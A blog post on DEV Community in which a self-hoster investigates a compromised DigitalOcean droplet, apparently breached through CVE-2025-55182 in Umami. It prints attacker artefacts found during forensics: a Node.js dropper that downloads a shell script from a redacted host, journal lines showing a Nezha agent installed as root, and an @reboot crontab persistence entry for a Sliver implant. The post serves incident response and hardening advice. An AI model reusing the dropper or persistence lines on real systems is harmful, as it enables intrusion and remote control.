DEV Community

Paul Clegg
Paul Clegg

Posted on

I traced a CPU spike to a massive botnet dashboard (CVE-2025-55182)

I was lazy when I set up my personal blog.

It was running on Digital Ocean - via one of their pre-configured application containers. I was running Ghost - a popular blogging platform.

I manually added Varnish for full page caching and installed Umami. I wanted some analytics just to have an idea of how many people were reading and engaging with my content. I despise all the tracking on the internet, I run AdGuard Home on my own network. Umami was a way to get some analytics, without being invasive.

I totally missed this alert from New Relic — the one that mattered. I'd been ignoring alerts for months because every time I logged into the Ghost admin panel, I'd get this:

Alert fatigue is real. Fix the noise, or you'll miss the signal. That's one of my lessons from all this.

I didn't notice anything was wrong until I tried to log into Umami. Instead of the usual log in page, I got a 502.

I checked the DigitalOcean control panel and saw two small I/O spikes that lined up with brief CPU increases. After that, there was a major I/O spike that pushed CPU usage to 100%, and it never came back down.

I had seen the recent news around CVE-2025-55182. A critical vulnerability in the React Server Components (RSC) protocol. The issue is rated CVSS 10.0 and can allow remote code execution when processing attacker-controlled requests in unpatched environments. But honestly I'd been too busy to check if my site might be at risk.

Umami was affected and it's how my site got compromised. Umami did release a patch 2 days ago, even if I had updated, it probably wouldn't have been soon enough.

I SSH'ed into the server after rebooting it and started having a nosy around.

This definitely isn't something I installed..

root@ghost-web-instance:/opt/nezha/agent# cat config.yml
client_secret: <redacted>
debug: <redacted>
disable_auto_update: <redacted>
disable_command_execute: false
disable_force_update: <redacted>
disable_nat: <redacted>
disable_send_query: <redacted>
gpu: <redacted>
insecure_tls: <redacted>
ip_report_period: <redacted>
report_delay: <redacted>
self_update_period: <redacted>
server: <redacted>
skip_connection_count: <redacted>
skip_procs_count: <redacted>
temperature: <redacted>
tls: <redacted>
use_gitee_to_upgrade: <redacted>
use_ipv6_country_code: <redacted>
uuid: <redacted>
Enter fullscreen mode Exit fullscreen mode

Nezha is an open-source, lightweight, and easy-to-use server monitoring and operation tool.

This flag meant remote shell access was enabled.

disable_command_execute: false
Enter fullscreen mode Exit fullscreen mode

So the attackers had root access to my droplet.

The Nezha agent had been added to systemd, so it would restart/survive a reboot.

root@ghost-web-instance:/opt/nezha/agent# ls -la /etc/systemd/system/*nezha*
-rw-r--r-- 1 root root 371 <redacted> /etc/systemd/system/nezha-agent.service
Enter fullscreen mode Exit fullscreen mode

I checked to see what files had been modified within the last 7 days.

root@ghost-web-instance:/opt/nezha/agent# find /opt /tmp /var/tmp /dev/shm -mtime -7 -type f 2>/dev/null
/opt/nezha/agent/nezha-agent
/opt/nezha/agent/config.yml
/var/tmp/dl.js
Enter fullscreen mode Exit fullscreen mode

The Javascript file was a likely candidate for the initial dropper script.

require("https").get("<redacted>", r => r.pipe(require("fs").createWriteStream("<redacted>.sh")).on("close", () => {
    console.log("done");
    process.exit(0);
})).on("error", e => {
    console.log("error:" + e.message);
    process.exit(1);
})

Enter fullscreen mode Exit fullscreen mode

The shell script no longer existed on the machine, it must have been cleaned up afterwards.

  • dl.js was owned by ghost-mgr

The attack managed to gain privilege escalation because of the Digital Ocean droplet settings.

root@ghost-web-instance:/opt/nezha/agent# sudo -l -U ghost-mgr
Matching Defaults entries for ghost-mgr on ghost-web-instance:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User ghost-mgr may run the following commands on ghost-web-instance:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
Enter fullscreen mode Exit fullscreen mode

any code running as ghost-mgr can become root without a password.

systemd journal had some interesting traces (timestamps redacted):

<redacted> ghost-web-instance su[955454]: pam_unix(su-l:auth): authentication failure; logname= uid=1000 euid=0 tty= ruser=ghost-mgr rhost=  user=root
<redacted> ghost-web-instance crontab[955460]: (ghost-mgr) LIST (ghost-mgr)
<redacted> ghost-web-instance crontab[955462]: (ghost-mgr) LIST (ghost-mgr)
<redacted> ghost-web-instance crontab[955463]: (ghost-mgr) REPLACE (ghost-mgr)

<redacted> ghost-web-instance sudo[963827]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/usr/bin/mkdir -p /opt/nezha/agent
...
<redacted> ghost-web-instance sudo[963827]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/usr/bin/mkdir -p /opt/nezha/agent
<redacted> ghost-web-instance sudo[963827]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
<redacted> ghost-web-instance sudo[963827]: pam_unix(sudo:session): session closed for user root
<redacted> ghost-web-instance sudo[963830]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/usr/bin/unzip -qo /tmp/nezha-agent_linux_amd64.zip -d /opt/nezha/agent
<redacted> ghost-web-instance sudo[963830]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
<redacted> ghost-web-instance sudo[963830]: pam_unix(sudo:session): session closed for user root
<redacted> ghost-web-instance sudo[963833]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/usr/bin/rm -rf /tmp/nezha-agent_linux_amd64.zip
<redacted> ghost-web-instance sudo[963833]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
<redacted> ghost-web-instance sudo[963833]: pam_unix(sudo:session): session closed for user root
<redacted> ghost-web-instance sudo[963836]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/opt/nezha/agent/nezha-agent service -c /opt/nezha/agent/config.yml uninstall
<redacted> ghost-web-instance sudo[963836]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
<redacted> ghost-web-instance sudo[963836]: pam_unix(sudo:session): session closed for user root
<redacted> ghost-web-instance sudo[963845]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/usr/bin/env NZ_UUID=<redacted> NZ_SERVER=<redacted> NZ_CLIENT_SECRET=<redacted> /opt/nezha/agent/nezha-agent service -c /opt/nezha/agent/config.yml install
<redacted> ghost-web-instance sudo[963845]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
<redacted> ghost-web-instance sudo[963845]: pam_unix(sudo:session): session closed for user root
<redacted> ghost-web-instance systemd[1]: Started 哪吒监控 Agent.
Enter fullscreen mode Exit fullscreen mode

The attackers had replaced crontab

So that was the next place to check.

root@ghost-web-instance:/home/ghost-mgr/umami# crontab -l -u ghost-mgr
@reboot nohup /home/ghost-mgr/<redacted> > /dev/null 2>&1 &
Enter fullscreen mode Exit fullscreen mode

I generated a SHA-256 hash of the file and checked it against VirusTotal.

Virustotal has it classified as trojan.sliver/silver

It's an open-source cross platform "command and control" (C2) framework. Originally built for red-team / penetration testing.

It supports many operating systems (Windows, Linux, macOS) and allows attackers to create “implant” payloads (called "slivers") that connect back to a C2 server

If installed as malware, Sliver can:

  • Create a backdoor on the target system
  • Execute arbitrary commands, upload/download files
  • Perform privilege escalation or process token manipulation (on Windows) 
  • Maintain stealthy, encrypted communication with C2 servers, evade detection by blending in with legitimate traffic 
  • Support different payload delivery mechanisms (stagers, "slivers", in-memory execution) to avoid simple file-based detection.

I've redacted the domain in the logs above but I was curious - what was there? I fully expected the address to be locked down.

Turns out - it wasn't.

The dashboard contained a list of all the infected hosts (there's a lot of them!)

Each host had it's own page with resource graphs.

I’ve redacted a lot here, not to be dramatic, but because the original screenshots contained real infrastructure and details that could expose victims or tip off the operator.

I’ve already reported the infrastructure to Cloudflare and the relevant hosting provider. If further responses come back, I’ll update this post.

Summary & Key Takeaways

My DigitalOcean droplet running Ghost and Umami was compromised via CVE-2025-55182 (a critical RCE in React Server Components). Because I hadn't updated Umami, attackers gained entry, escalated privileges via a permissive sudo configuration, and installed a botnet node.

The Malware Stack:

  • Sliver: An open-source C2 framework used for the actual backdoor and remote control.

  • Nezha Monitoring: A lightweight agent used by the attackers to monitor the health (CPU/RAM) of their infected nodes via a centralized dashboard.

Lessons Learned:

  • Alert Fatigue is Dangerous: I ignored New Relic alerts for months. If you can't trust your alerts, fix them or turn them off, don't ignore them.

  • Audit Default Permissions: The ghost-mgr user had passwordless sudo access. This allowed a web-app vulnerability to instantly become a full root compromise.

  • Updates Matter: Self-hosting requires maintenance. The gap between a CVE release and active exploitation is shrinking every day.

Top comments (0)